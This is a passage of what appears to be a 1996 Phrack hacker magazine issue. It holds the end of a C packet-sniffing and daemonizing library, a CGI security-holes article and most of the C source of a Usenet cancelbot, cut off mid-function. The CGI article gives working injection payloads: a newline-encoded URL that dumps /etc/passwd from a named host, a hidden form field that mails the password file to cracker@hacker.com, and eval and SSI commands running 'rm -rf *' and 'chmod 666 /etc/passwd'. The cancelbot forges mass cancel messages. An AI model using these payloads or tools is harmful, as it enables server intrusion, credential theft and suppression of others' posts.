fprintf(stdout,"Hmm... I smell an ACK: ");

fprintf(stdout,"%s [%d] ‑‑> %s [%d]\n",hostLookup(iphp‑>saddr),ntohs(tcphp‑>source),hostLookup(iphp‑>daddr),ntohs(tcphp‑>dest)); fprintf(stdout,"let's slow things down a bit\n");

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑cut‑me‑loose‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/*

Basic Linux Networking Header Information. v1.0

c. daemon9, Guild Corporation 1996

Includes:

tap

in_cksum

nameResolve

hostLookup

shadow

reaper

This is beta. Expect it to expand greatly the next time around ... Sources from all over the map.

code from:

route

halflife

*/

#include <string.h>

#include <signal.h>

#include <stdio.h>

#include <unistd.h>

#include <fcntl.h>

#include <syslog.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/wait.h>

#include <sys/ioctl.h>

#include <sys/stat.h>

#include <sys/time.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <netdb.h>

#include <arpa/inet.h>

#include <linux/socket.h>

#include <linux/ip.h>

#include <linux/tcp.h>

#include <linux/if_ether.h>

#include <linux/if.h>

#define DEVICE "eth0"

#define BUFSIZE 256

#define ETHHDR 14

#define TCPHDR 20

#define IPHDR 20

#define ICMPHDR 8

/*

* IP address into network byte order

*/

unsigned nameResolve(char *hostname){

struct in_addr addr;

struct hostent *hostEnt;

if((addr.s_addr=inet_addr(hostname))==‑1){ if(!(hostEnt=gethostbyname(hostname))){ fprintf(stderr,"Name lookup failure: `%s`\n",hostname); exit(0);

}

bcopy(hostEnt‑>h_addr,(char *)&addr.s_addr,hostEnt‑>h_length); }

return addr.s_addr;

}

/*

* IP Family checksum routine

*/

unsigned short in_cksum(unsigned short *ptr,int nbytes){

register long sum; /* assumes long == 32 bits */

u_short oddbyte;

register u_short answer; /* assumes u_short == 16 bits */

/*

* Our algorithm is simple, using a 32‑bit accumulator (sum), * we add sequential 16‑bit words to it, and at the end, fold back * all the carry bits from the top 16 bits into the lower 16 bits. */

sum = 0;

while (nbytes > 1) {

sum += *ptr++;

nbytes ‑= 2;

}

/* mop up an odd byte, if necessary */

if (nbytes == 1) {

oddbyte = 0; /* make sure top half is zero */

*((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */

sum += oddbyte;

}

/*

* Add back carry outs from top 16 bits to low 16 bits. */

sum = (sum >> 16) + (sum & 0xffff); /* add high‑16 to low‑16 */

sum += (sum >> 16); /* add carry */

answer = ~sum; /* ones‑complement, then truncate to 16 bits */

return(answer);

}

/*

*Creates a low level raw‑packet socket and puts the device into promiscuous mode. */

int tap(device)

char *device;

{

int fd;/* File descriptor */

struct ifreq ifr;/* Link‑layer interface request structure */

/* Ethernet code for IP 0x800==ETH_P_IP */

if((fd=socket(AF_INET,SOCK_PACKET,htons(ETH_P_IP)))<0){/* Linux's way of */

perror("SOCK_PACKET allocation problems");/* getting link‑layer */

exit(1);/* packets */

}

strcpy(ifr.ifr_name,device);

if((ioctl(fd,SIOCGIFFLAGS,&ifr))<0){/* Get the device info */

perror("Can't get device flags");

close(fd);

exit(1);

}

ifr.ifr_flags|=IFF_PROMISC;/* Set promiscuous mode */

if((ioctl(fd,SIOCSIFFLAGS,&ifr))<0){/* Set flags */

perror("Can't set promiscuous mode");

close(fd);

exit(1);

}

return(fd);

}

/*

*Network byte order into IP address

*/

char *hostLookup(in)

unsigned long in;

{

char hostname[BUFSIZE];

struct in_addr addr;

struct hostent *hostEnt;

bzero(&hostname,sizeof(hostname));

addr.s_addr=in;

hostEnt=gethostbyaddr((char *)&addr, sizeof(struct in_addr),AF_INET); if(!hostEnt)strcpy(hostname,inet_ntoa(addr));

else strcpy(hostname,hostEnt‑>h_name); return(strdup(hostname));

}

/*

* Simple daemonizing procedure.

*/

void shadow(void){

int fd,fs;

extern int errno;

char werd[]={"\n\n\n\nHades is a Guild Corporation Production. c.1996\n\n"};

signal(SIGTTOU,SIG_IGN); /* Ignore these signals */

signal(SIGTTIN,SIG_IGN);

signal(SIGTSTP,SIG_IGN);

printf(werd);

switch(fork()){

case 0: /* Child */

break;

default:

exit(0); /* Parent */

case ‑1: fprintf(stderr,"Forking Error\n"); exit(1);

}

setpgrp();

if((fd=open("/dev/tty",O_RDWR))>=0){ ioctl(fd,TIOCNOTTY,(char *)NULL); close(fd);

}

/*for(fd=0;fd<NOFILE;fd++)close(fd);*/

errno=0;

chdir("/");

umask(0);

}

/*

* Keeps processes from zombiing on us...

*/

static void reaper(signo)

int signo;

{

pid_t pid;

int sys;

pid=wait(&sys);

signal(SIGCHLD,reaper);

return;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑cut‑me‑loose‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

EOF

Introduction to CGI and CGI vulnerabilities

.oO Phrack 49 Oo.

Volume Seven, Issue Forty‑Nine

File 08 of 16

CGI Security Holes

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

by Gregory Gilliss

This article will discuss the Common Gateway Interface, its relationship to the World Wide Web and the Internet, and will endeavor to point out vulnerabilities in system security exposed by its use. The UNIX operating system will be the platform central to this discussion. Programming techniques will be illustrated by examples using PERL.

1.Introduction

The Common Gateway Interface (CGI) is an interface specification that allows communication between client programs and information servers which understand the Hyper‑Text Transfer Protocol (HTTP). TCP/IP is the communications protocol used by the CGI script and the server during the communications. The default port for communications is port 80 (privileged), but other non‑privileged ports may be specified.

CGI scripts can perform relatively simple processing on the client side. A CGI script can be used to format Hyper‑Text Markup Language (HTML) documents, dynamically create HTML documents, and dynamically generate graphical images. CGI can also perform transaction recording using standard input and standard output. CGI stores information in system environment variables that can be accessed through the CGI scripts. CGI scripts can also accept command line arguments. CGI scripts operate in two basic modes:

‑ In the first mode, the CGI script performs rudimentary data processing on the input passed to it. An example of data processing is the popular web lint page that checks the syntax of HTML documents.

‑ The second mode is where the CGI script acts as a conduit for data being passed from the client program to the server, and back from the server to the client. For example, a CGI script can be used as a front end to a database program running on the server.

CGI scripts can be written using compiled programming languages, interpreted programming languages, and scripting languages. The only real advantage that exists for one type of development tool over the other is that compiled programs tend to execute more quickly than interpreted programs. Interpreted languages such as AppleScript, TCL, PERL and UNIX shell scripts afford the possibility of acquiring and modifying the source (discussed later), and are generally faster to develop than compiled programs.

The set of common methods available to CGI programs is defined in the HTTP 1.0 specification. The three methods pertinent to this discussion are the `Get` method, the `Post` method, and the `Put` method. The `Get` method retrieves information from the server to the client. The `Post` method asks the server to accept information passed from the client as input to the specified target. The `Put` method asks the server to accept information passed from the client as a replacement for the specified target.

2.Vulnerabilities

The vulnerabilities caused by the use of CGI scripts are not weaknesses in CGI itself, but are weaknesses inherent in the HTTP specification and in various system programs. CGI simply allows access to those vulnerabilities. There are other ways to exploit the system security. For example, insecure file permissions can be exploited using FTP or telnet. CGI simply provides more opportunities to exploit these and other security flaws.

The CGI specification provides opportunities to read files, acquire shell access, and corrupt file systems on server machines and their attached hosts. Means of gaining access include: exploiting assumptions of the script, exploiting weaknesses in the server environment, and exploiting weaknesses in other programs and system calls. The primary weakness in CGI scripts is insufficient input validation.

According to the HTTP 1.0 specification, data passed to a CGI script must be encoded so that it can work on any hardware or software platform. Data passed by a CGI script using the Get method is appended to the end of a Universal Resource Locator (URL). This data can be accessed by the CGI script as an environment variable named QUERY_STRING. Data is passed as tokens of the form variable=value, with the tokens separated by ampersands (&). Actual ampersands, and other non‑alphanumeric characters, must be escaped, meaning that they are encoded as two‑digit hexadecimal values. Escaped characters are preceded by a percent sign (%) in the encoded URL. It is the responsibility of the CGI script to escape or remove characters in user supplied input data. Characters such as '<' and '>', the delimiters for HTML tags, are usually removed using a simple search and replace operation, such as the following:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

# Process input values

{$NAME, $VALUE) = split(/=/, $_);# split up each variable=value pair $VALUE =~ s/\+/ /g;# Replace '+' with ' '

$VALUE =~ s/%([0‑9|A‑F]{2})/pack(C,hex,{$1}}/eg; # Replace %xx characters with ASCII # Escape metacharacters

$VALUE =~ s/([;<>\*\|'&\$!#\(\)\[\]\{\}:"])/\\$1/g;# remove unwanted special characters

$MYDATA[$NAME} = $VALUE;# Assign the value to the associative array

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This example removes special characters such as the semi‑colon character, which is interpreted by the shell as a command separator. Inclusion of a semi‑colon in the input data allows for the possibility of appending an additional command to the input. Take note of the forward slash characters that precede the characters being substituted. In PERL, a backslash is required to tell the interpreter not to process the following character.*

The above example is incomplete since it does not address the possibility of the new line character '%0a', which can be used to execute commands other than those provided by the script. Therefore it is possible to append a string to a URL to perform functions outside of the script. For example, the following URL requests a copy of /etc/passwd from the server machine:

http://www.odci.gov/cgi‑bin/query?%0a/bin/cat%20/etc/passwd

The strings '%0a" and '%20' are ASCII line feed and blank respectively.

The front end interface to a CGI program is an HTML document called a form. Forms include the HTML tag <INPUT>. Each <INPUT> tag has a variable name associated with it. This is the variable name that forms the left hand side of the previously mentioned variable=value token. The contents of the variable forms the value portion of the token. Actual CGI scripts may perform input filtering on the contents of the <INPUT> field. However if the CGI script does not filter special characters, then a situation analogous to the above example exists. Interpreted CGI scripts that fail to validate the <INPUT> data will pass the data directly to the interpreter. **

Another HTML tag sometime seen in forms is the <SELECT> tag. <SELECT> tags allow the user on the client side to select from a finite set of choices. The selection becomes the right hand side of the variable=value token passed to the CGI script. CGI script often fail to validate the input from a <SELECT> field, assuming that the field will contain only pre‑defined data. Again, this data is passed directly to the interpreter for interpreted languages. Compiled programs which do not perform input validation and/or escape special characters may also be vulnerable.

A shell script or PERL script that invokes the UNIX mail program may be vulnerable to a shell escape. Mail accepts commands of the form '~!command' and forks a shell to execute the command. If the CGI script does not filter out the '~!' sequence, the system is vulnerable. Sendmail holes can likewise be exploited in this manner. Again, the key is to find a script that does not properly filter input characters.

If you can find a CGI script that contains a UNIX system() call with only one argument, then you have found a doorway into the system. When the system() function is invoked with only one argument, the system forks a separate shell to handle the request. When this happens, it is possible to append data to the input and generate unexpected results. For example, a PERL script containing the following:

system("/usr/bin/sendmail ‑t %s < %s", $mailto_address < $input_file");

is designed to mail a copy of $input_file to the mail address specified in the $mailto_address variable. By calling system() with one argument, the program causes a separate shell to be forked. By copying and modifying the input to the form:

<INPUT TYPE="HIDDEN" NAME="mailto_address" VALUE="address@server.com;mail cracker@hacker.com </etc/passwd">

we can exploit this weakness and obtain the password file from the server. ***

The system() function is not the only command that will fork a new shell. the exec() function with a single argument also provides the same exposure. Opening a file and piping the result also forks a separate shell. In PERL, the function:

open(FILE, "| program_name $ARGS");

will open FILE and pipe the contents to program_name, which will run as a separate shell.

In PERL, the eval command parses and executes whatever argument is passed to it. CGI scripts that pass arbitrary user input to the eval command can be used to execute anything the user desires. For example,

$_ = $VALUE;

s/"/\\"/g# Escape double quotes

$RESULT = eval qq/"$_"/;# evaluate the correctly quoted input

would pass the data from $VALUE to eval essentially unchanged, except for ensuring that the double quote don't confuse the interpreter (how nice of them). If $VALUE contains "rm ‑rf *", the results will be disastrous. File permissions should be examined carefully. CGI scripts that are world readable can be copied, modified, and replaced. In addition, PERL scripts that include lines such as the following:

require "cgi‑lib";

are including a library file named cgi‑lib. If this file's permissions are insecure, the script is vulnerable. To check file permissions, the string '%0a/bin/ls%20‑la%20/usr/src/include" could be appended to the URL of a CGI script using the Get method.

Copying, modifying, and replacing the library file will allow users to execute command or routines inside the library file. Also, if the PERL interpreter, which usually resides in /usr/bin, runs as SETUID root, it is possible to modify file permissions by passing a command directly to the system through the interpreter. The eval command example above would permit the execution of :

$_ = "chmod 666 \/etc\/passwd"

$RESULT = eval qq/"$_"/;

which would make the password file world writable.

There is a feature supported under some HTTPD servers called Server Side Includes (SSI). This is a mechanism that allows the server to modify the outgoing document before sending it to the client browser. SSI is a *huge* security hole, and most everyone except the most inexperienced sysadmin has it disabled. However, in the event that you discover a site that enables SSI,, the syntax of commands is:

<!‑‑#command variable="value" ‑‑>

Both command and 'tag' must be lowercase. If the script source does not correctly filter input,input such as:

<!‑‑#exec cmd="chmod 666 /etc/passwd"‑‑>

All SSI commands start with a pound sign (#) followed by a keyword. "exec cmd" launches a shell that executes a command enclosed in the double quotes. If this option is turned on, you have enormous flexibility with what you can do on the target machine.

3.Conclusion

The improper use of CGI scripts affords users a number of vulnerabilities in system security. Failure to validate user input, poorly chosen function calls, and insufficient file permissions can all be exploited through the misuse of CGI.

* Adapted from Mudry, R. J., Serving The Web, Coriolis Group Books, p. 192 ** Jennifer Myers, Usenet posting

Content-Blind Cancelbot

.oO Phrack Magazine Oo.

Volume Seven, Issue Forty‑Nine

File 09 of 16

by Dr.Dimitri Vulis (KOTM)

A Content‑Blind Cancelbot for Usenet (CBCB)

Usenet News is a popular system for transmitting articles. Historically it used to propagate over UUCP. However today most of the transmission is done over the Internet TCP/IP connections using the NNTP protocol (RFC 977).

Each article consists of a series of headers of the form Keyword: value

followed by a blank line, followed by the body of the message. Some required headers are self‑explanatory: From:, Date:, Subject:.

The Newsgroups: header identifies a series of keywords that can be used to search for articles in the newsfeed. For example: Newsgroups: news.admin.policy,comp.lang.c

identifies a Usenet article relevant to both Usenet administrative policy and to the C computer language.

The Message‑Id: header uniquely identifies each article. For example: Message‑Id: <12341223@whitehouse.gov>

The message‑ids are not supposed to be recycled.

The cancelbot program is supposed to search the user‑specified newsgroups for articles whose headers match user‑specified regular expressions and to issue special 'cancel' control articles. It will copy some of the headers from the original message and add a special header:

Control: cancel <message‑id>

This program is an NNTP client. Much of the processing is offloaded to an NNTP server, to which the cancelbot talks using the Internet sockets protocol.

This cancelbot does not look at article bodies and is therefore content‑blind.

Inputs:

argv[1] (required) hosts file

A line that starts with # is a comment. Otherwise, each line contains the following 5 fields:

1. hostname (some.domain.com) or ip address (a.b.c.d)

2. port (normally 119)

3. Y/N ‑ do we ask this host for NEWNEWS/HEADER?

4. I/P/N ‑ do we inject cancels to this host with IHAVE, POST, not at all 5. Timeout ‑ the number of seconds to wait for a response from this server.

Example of a hosts file:

# ask the local server for new news and post back the cancels 127.0.0.1 119 Y P 60

# don't get message‑ids from remote server, but give it cancels via IHAVE news.xx.net 119 N I 300

argv[2] (required) target file

A line that starts with # is a comment. Otherwise, each line contains the following 9 fields:

1. List of newsgroups to be scanned for new messages. This is not interpreted by the cancelbot, but passed on to the NNTP server. Per RFC 997, multiple groups can be separated by commas. Asterisk "*" may be used to match multiple newsgroup names. The exclamation point "!" (as the first character) may be used to negate a match. Warning: specifying a single * will generate a lot of data.

Example: news.groups,comp.*,sci.*,!sci.math.*

2. A watchword (case‑sensitive) that needs to be contained in the article headers for the cancel to be issued.

3. Format of the Subject: header in the cancel article.

C ‑ Subject cancel <message‑id> (same as Control:)

O ‑ Subject: header copied from the original article

N ‑ none.

If N is specified, then Subject: MUST be provided in the file appended to the header, or the cancel won't propagate.

4. cancel message‑id prefix

normally cancel. or cn.

Most cancellation articles follow the so‑called $alz convention: Control: cancel <message.id>

Message‑id: <cancel.message.id>

However this is not a requirement.

5. path constant (string to put in path). May be 'none'.

6. path copy # (number of elements to copy from the right, may be 0)

Explanation of these two parameters:

each Usenet article contains the "Path:" header with a list of hosts separated by explanation marks. For example:

Path: ohost1!ohost2!ohost3!ohost4

If you specify path constant of "nhosta!nhostb" and path copy of 2 then the path written by cbcb will be

Path: nhosta!nhostb!ohost3!ohost4

7. Name of the file appended to the header or 'none'

Examples:

# should be supplied as a courtesy

X‑Cancelled‑By: Cancelbot

# if and only if target file field 3 contains 'N':

Subject: Cancelling a Usenet article

# only if posting via IHAVE:

NNTP‑Posting‑Host: usenet.cabal.org

8. Name of the file that will become the body of the cancel or 'none'

If 'none' is specified, the default will be

"Please cancel this article."

9. The string to be prepended to the newsgroups. Normally 'none', but may be set to something like misc.test (or misc.test,alt.test).

Example of a target file:

# delete all articles that mention C++ (but not c++)

comp.lang.c.* C++ C cancel. cyberspam 3 can.hdr none none

# no sex in the sci hierarchy, and add misc.test to the cancel sci.* sex C cn. plutonium 2 can1.hdr can.txt misc.test

argv[3] (optional) datestamp, YYMMDD. If not specified, default is 900101. Only articles after this date are examined. This parameter is not processed by the cancelbot, but passed on to the NNTP server. It should normally be specified so as not to look at old Usenet articles.

argv[4] (optional) timestamp, digits HHMMSS, where HH is hours on the 24‑hour clock, MM is minutes 00‑59, and SS is seconds 00‑59. If not specified, default is 000000. Note that both datestamp and timestamp are in Greenwich mean time.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑cut me loose!‑‑‑‑‑‑‑‑‑‑‑‑‑‑>8‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ed‑note:

To compile, you must define an OS type (under gcc, this is accomplished using the ‑Dmacro directive). Under Unix, for example:

gcc ‑DCBCB_UNIX ‑o cancelbot cbcb.c

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑cut me loose!‑‑‑‑‑‑‑‑‑‑‑‑‑‑>8‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

cbcb.c:

/*

Context‑blind CancelBot 0.9 04/01/96

Description of operations:

Open socket connections to the hosts listed in the hosts file

loop on targets

{

loop on servers

{

if (newnews_flag=='Y')

{

send NEWNEWS newsgroups datestamp timestamp GMT to this socket receive a list of message‑ids and save them in a LIFO linked list loop on message‑ids

{

send HEADER message‑id to this server's socket

receieve a header

if the header contains the watchword

{

compose a cancel according to the target file specifications loop on servers

{

if post_flag is P or I

send the cancel to this server's socket using posting method }

}

delete this message‑id from the linked list

}

}

}

}

*/

#ifndef CBCB_UNIX

#ifndef CBCB_VMS

#ifndef CBCB_NT

#ifndef CBCB_OS2

#error One of (CBCB_UNIX, CBCB_VMS, CBCB_NT, CBCB_OS2) must be defined #endif

#endif

#endif

#endif

#include <stdio.h>

#include <stdlib.h>

#include <signal.h>

#include <string.h>

#include <ctype.h>

/* various flavors of Unix */

#ifdef CBCB_UNIX

/* gcc ‑DCBCB_UNIX cbcb.c ‑o cbcb */

#include <unistd.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/time.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <netdb.h>

/* perror to be called after failed socket calls */

#define perror_sock perror

/* how to close a socket */

#define close_sock close

#endif

/* Windows NT, /subsystem:console. The executable is supposed to work

under NT and Windows 95, but not under Win32s. */

#ifdef CBCB_NT

/* important note: when compiling on NT, say something like

cl /DCBCB_NT /Ogaityb1 /G5Fs /ML cbcb.c wsock32.lib */

#include <winsock.h>

/* regular perror doesn't work with WinSock under NT */

#define perror_sock(s) fprintf(stderr,"%s : WinSock error %d\n",s,WSAGetLastError()) /* regular close doesn't work with WinSock under NT */

#define close_sock closesocket

/* NT doesn't understand unix‑style sleep in seconds */

#define sleep(n) Sleep(n*1000)

#endif

/* DEC VAX/VMS */

#ifdef CBCB_VMS

/* important note: when compiling on VAX/VMS, say something like

cc/define=CBCB_VMS cbcb/nodebug/optimize=(disjoint,inline)

link cbcb/nouserlib/notraceback,sys$library:ucx$ipc.olb/lib,sys$library:vaxcrtl.olb/lib

(to link in shared routines)

*/

#include <types.h>

#include <socket.h>

#include <netdb.h>

#include <in.h>

#include <inet.h>

#include <time.h>

#include <unixio.h>

#define perror_sock perror

#define close_sock close

#endif

/* IBM OS/2 ‑ link with tcpip.lib */

#ifdef CBCB_OS2

#define OS2

/* we will use a BSD‑like select, not Oleg's hack */

#define BSD_SELECT

#define INCL_DOSPROCESS

#include <bsedos.h> /* DosSleep */

#include <sys\types.h>

#include <sys\socket.h>

#include <sys\select.h>

#include <netinet\in.h>

/*#include <arpa\inet.h>*/

#include <netdb.h>

/* perror to be called after failed socket calls */

#define perror_sock fprintf(stderr,"%s : tcp error %d\n",s,tcperrno()) /* how to close a socket */

#define close_sock soclose

#define sleep(n) DosSleep(n/1000)

#endif

/*

Future Macintosh notes: Need Apple's MPW (Macintosh Programmer's Workshop). Build CBCB as an MPW tool. Set the Macintosh file type to MPST and the Macintosh creator to MPS, so we can use stdout and stderr.

Sockets are supposed to be available on the Mac.

*/

#ifndef FD_ZERO

/* macros for select() not defined on VAX or HPUX

However they are defined to be something completely different under NT WinSock, so we must use macros */

#define fd_set int

#define FD_ZERO(p) {*(p)=0;}

#define FD_SET(s,p) {*(p)|=(1<<(s));}

#define FD_ISSET(s,p) ((*(p)&(1<<(s)))!=0)

#endif

/* file pointers */

FILE *sptr, /* hosts file */

*tptr; /* target file*/

/* there's a reason for making all these variables static. If I weren't lazy,

I would have put them in their respective functions with 'static' */

#define MAXHOSTS 100

struct {

int cfd; /* socket handle */

char newnews_flag;

char post_flag;

int timeout;

} hosts[MAXHOSTS];

int nhosts;

short int port;

#define ASCII_CR 13

#define ASCII_LF 10

#define BUFFERSIZE 2048

#define BUFFERBIGSIZE 20480

char buffer_big[BUFFERBIGSIZE];

struct _msgidq {

char *msgid;

struct _msgidq *next;

};

struct _msgidq *msg_queue,*msg_t;

int parse_state, /* for parsing server responses */

h_flag,d_flag; /* shortcut for states when parsing headers */

char hostname[BUFFERSIZE];

char buffer[BUFFERSIZE];

char extra_header[BUFFERSIZE];

char extra_body[BUFFERSIZE];

int file_rec;

char newsgroups[BUFFERSIZE]; /* target field 1 */

char watchword[BUFFERSIZE]; /* target field 2 */

char subject_flag; /* target field 3 */

char cmsg_id_prefix[BUFFERSIZE]; /* target field 4 */

char path_const[BUFFERSIZE]; /* target field 5 */

int path_num; /* target field 6 */

char hdr_fname[BUFFERSIZE]; /* target field 7 */

char txt_fname[BUFFERSIZE]; /* target field 8 */

char extra_ngrp[BUFFERSIZE]; /* target field 9 */

char *datestamp,*timestamp; /* for the NEWNEWS command */

char *sznone="none";

char *szcabal=" Usenet@Cabal";

char *szsubject="Subject:";

char *szsubjectc="Subject: cmsg";

char *szendl="\r\n";

char *szempty="";

int nretry; /* number of retries in various places */

int nbytes;

int host1,host2,i,j; /* loop indices */

#define NOLDHEADERS 8

/* We're interested in 8 original headers :

Path: 0 (requires special handling)

From: 1

Sender: 2

Approved: 3

Newsgroups: 4

Date: 5

Subject: 6

Organization: 7

*/

char *h_ptr[NOLDHEADERS];

char *t_ptr[3];

/* ANSI function prototypes */

int cbcb_parse_hosts(void);

int cbcb_parse_targets(void);

int cbcb_process_target(void);

int cbcb_parse_message_ids(void);

int cbcb_process_article(char *);

int cbcb_get_headers(void);

void cbcb_save_headers(void);

void cbcb_save_header(int);

int cbcb_flush_sock(int);

int cbcb_test_sock(int);

int cbcb_recv_resp(int,char);

int cbcb_copy_buffer(char *);

int main(int argc,char*argv[])

{

/* process the arguments */

if (argc<3 || argc>5)

{

fprintf(stderr,"Usage: cbcb hostfile targetfile [datestamp] [timestamp]\n"); return(1);

}

if (argc<4)

datestamp="900101";

else

datestamp=argv[3];

if (argc<5)

timestamp="000000";

else

timestamp=argv[4];

/* open the hosts file */

if (NULL==(sptr=fopen(argv[1],"r")))

{

perror("open()");

fprintf(stderr,"cbcb cannot open hosts file %s\n",argv[1]); return(0);

}

/* open the target file */

if (NULL==(tptr=fopen(argv[2],"r")))

{

perror("open()");

fprintf(stderr,"cbcb cannot open target file %s\n",argv[2]); return(0);

}

#ifdef SIGPIPE

signal(SIGPIPE,SIG_IGN); /* ignore broken pipes if this platform knows them */

#endif

/* establish the connections to the NNTP servers */

if (0==cbcb_parse_hosts())

{

fprintf(stderr,"cbcb unable to connect to any NNTP servers\n"); return(1);

}

fclose(sptr);

if (!cbcb_parse_targets())

{

fprintf(stderr,"cbcb encountered an error processing targets\n"); return(1);

}

fclose(tptr);

/* final cleanup */

for (i=0; i<nhosts; i++)

close_sock(hosts[i].cfd);

#ifdef CBCB_NT

WSACleanup();

#endif

return(0);

}

int cbcb_parse_hosts(void)

{

unsigned long host_ip;

struct hostent *host_struct;

struct in_addr *host_node;

/*

struct servent *sp;

*/

struct sockaddr_in serverUaddr;

#ifdef CBCB_NT

WSADATA wsaData; /* needed for WSAStartup */

#endif

#ifdef CBCB_NT

if (WSAStartup(MAKEWORD(1,1),&wsaData))

{

perror_sock("WSAStartup()");

fprintf(stderr,"couldn't start up WinSock\n");

return(0);

}

fprintf(stderr,"Found WinSock: %s\n",wsaData.szDescription); #endif

#ifdef CBCB_OS2

if (0!=sock_init())

{

perror_sock("sock_init()");

fprintf(stderr,"couldn't start up sockets ‑ is inet.sys running?\n"); return(0);

}

#endif

/*

if (NULL==(sp=getservbyname("nntp","tcp")))

{

fprintf(stderr,"Can't find the NNTP port\n");

return(0);

}

...

serverUaddr.sin_port=(sp‑>s_port);

*/

/* loop on the hosts file */

nhosts=0;

file_rec=0;

while(NULL!=fgets(buffer,sizeof(buffer),sptr))

{

file_rec++;

if (*buffer=='#')

continue;

if (nhosts>=MAXHOSTS)

{

fprintf(stderr,"Please increase MAXHOSTS\n");

break;

}

if (5!=sscanf(buffer,"%2048s %hd %c %c %d",

hostname,&port,&hosts[nhosts].newnews_flag,&hosts[nhosts].post_flag, &hosts[nhosts].timeout))

{

fprintf(stderr,"Error parsing host file line %d \"%s\"\n",file_rec,buffer); continue;

}

/* verify that the newnews flag is Y or N */

if (hosts[nhosts].newnews_flag=='n') hosts[nhosts].newnews_flag='N';

else if (hosts[nhosts].newnews_flag=='y') hosts[nhosts].newnews_flag='Y';

else if (hosts[nhosts].newnews_flag!='Y'&&hosts[nhosts].newnews_flag!='N') {

fprintf(stderr,"Newnews flag %c, must be Y or N on line %d\n", hosts[nhosts].newnews_flag,file_rec);

continue;

}

/* verify that the posting flag is P, or I, or N */

if (hosts[nhosts].post_flag=='i')

hosts[nhosts].post_flag='I';

else if (hosts[nhosts].post_flag=='p') hosts[nhosts].post_flag='P';

else if (hosts[nhosts].post_flag=='n') hosts[nhosts].post_flag='N';

else if (hosts[nhosts].post_flag!='I'&&hosts[nhosts].post_flag!='P'&&hosts[nhosts].post_flag!='N') {

fprintf(stderr,"Posting flag %c, must be I, or P, or N on line %d\n", hosts[nhosts].post_flag,file_rec);

continue;

}

/* translate the hostname into an ip address. If it starts with a digit,

try to interpret it as a A.B.C.D address */

if (!isdigit(*hostname)||(0xFFFFFFFF==(host_ip=inet_addr(hostname)))) {

if (NULL==(host_struct=gethostbyname(hostname)))

{

perror("gethostbyname");

fprintf(stderr,"Can't resolve host name %s to ip on line %d\n", hostname,file_rec);

continue;

}

host_node=(struct in_addr*)host_struct‑>h_addr; fprintf(stderr,"Note: Using NNTP server at %s\n",inet_ntoa(*host_node)); host_ip=host_node‑>s_addr;

}

/* fill in the address to connect to */

memset(&serverUaddr,0,sizeof(serverUaddr)); serverUaddr.sin_family=PF_INET; serverUaddr.sin_addr.s_addr=/*htonl*/(host_ip); /* already in net order */

serverUaddr.sin_port=htons(port);

/* try to create a socket */

if ((hosts[nhosts].cfd=socket(AF_INET,SOCK_STREAM,0))<0)

{

perror_sock("socket()");

continue;

}

conn1:

if (0>=connect(hosts[nhosts].cfd,(struct sockaddr*)&serverUaddr,sizeof(serverUaddr))) goto conn2; /* we use goto so we can use continue */

if (nretry>10)

{

fprintf(stderr,"give up trying to connect to %s port %hd on line %d\n", hostname,port,file_rec);

close_sock(hosts[nhosts].cfd); hosts[nhosts].newnews_flag=hosts[nhosts].post_flag='N'; continue;

}

perror_sock("connect()");

nretry++;

sleep(1);

goto conn1;

conn2:

if (!cbcb_recv_resp(nhosts,'2'))

{

fprintf(stderr,"NNTP problem after connecting to %s port %hd on line %d\n", hostname,port,file_rec);

close_sock(hosts[nhosts].cfd); hosts[nhosts].newnews_flag=hosts[nhosts].post_flag='N'; continue;

}

nhosts++;

}

return(nhosts);

}

int cbcb_parse_targets(void)

{

file_rec=0;

while(fgets(buffer,sizeof(buffer),tptr)) /* read a target line */

{

file_rec++;

if (*buffer=='#') /* comment */

continue;

/* parse the buffer into the 8 fields */

if (9!=sscanf(buffer,"%2048s %2048s %c %2048s %2048s %d %2048s %2048s %2048s", newsgroups, watchword, &subject_flag, cmsg_id_prefix, path_const, &path_num, hdr_fname, txt_fname, extra_ngrp))

{

fprintf(stderr,"Error parsing 8 fields on line %d \"%s\"\n", file_rec,buffer);

continue;

}

/* verify that the subject flag is C, O, or N */

if (subject_flag=='c')

subject_flag='C';

else if (subject_flag=='o')

subject_flag='O';

else if (subject_flag=='n')

subject_flag='N';

else if (subject_flag!='C'&&subject_flag!='O'&&subject_flag!='N') {

fprintf(stderr,"Subject flag %c, must be C, O, or N on line %d\n", subject_flag,file_rec);

continue;

}

if (0==strcmp(path_const,sznone)) /* if 'none' is specified */

{

if (path_num==0)

{

fprintf(stderr,"Can't have path_const none and path_num 0\n"); continue;

}

path_const[0]=0;

}

else /* if not none, append bang if needed */

{

i=strlen(path_const);

if (path_const[i‑1]!='!')

{

path_const[i]='!';

path_const[i+1]=0;

}

}

if (0==strcmp(extra_ngrp,sznone)) /* if 'none' is specified */

extra_ngrp[0]=0;

else /* if not none, append comma if needed */

{

i=strlen(extra_ngrp);

if (extra_ngrp[i‑1]!=',')

{

